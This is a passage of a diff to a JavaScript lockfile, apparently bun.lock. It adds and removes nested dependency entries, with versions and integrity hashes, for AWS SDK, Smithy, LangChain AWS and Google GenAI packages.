- "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
-
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
-
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@google/genai/google-auth-library/gaxios/rimraf/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
-
- "@google/genai/google-auth-library/gaxios/rimraf/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
-
- "@google/genai/google-auth-library/gaxios/rimraf/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@aws-sdk/util-format-url/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
@@ -9453,14 +9175,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9471,66 +9185,44 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9547,16 +9239,12 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9571,20 +9259,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
